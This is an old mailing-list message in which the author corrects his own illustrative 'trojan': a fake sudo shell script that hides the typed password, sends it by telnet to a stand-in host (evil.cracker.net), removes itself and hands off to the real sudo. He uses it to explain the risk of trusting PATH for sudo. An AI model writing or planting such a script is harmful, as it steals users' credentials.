just to nit a pick before someone else does in my little trojan... On Wed, Nov 01, 2000 at 06:58:41PM -0900, Ethan Benson wrote: > > do you always type /usr/bin/sudo instead of just sudo? > > #! /bin/sh > ## this is a fake sudo stty -echo > printf 1>&2 "Password: " stty echo > read password > echo "$password" | telnet evil.cracker.net 1337 > /dev/null 2>&1 > echo 1>&2 "Sorry, try again." > rm -f ~/bin/sudo > exec /usr/bin/sudo "$@" > otherwise you would see your password echoed to the terminal which would kind of give away the subterfuge... -- Ethan Benson http://www.alaska.net/~erbenson/
Attachment:
pgp4TLI1W42sg.pgp
Description: PGP signature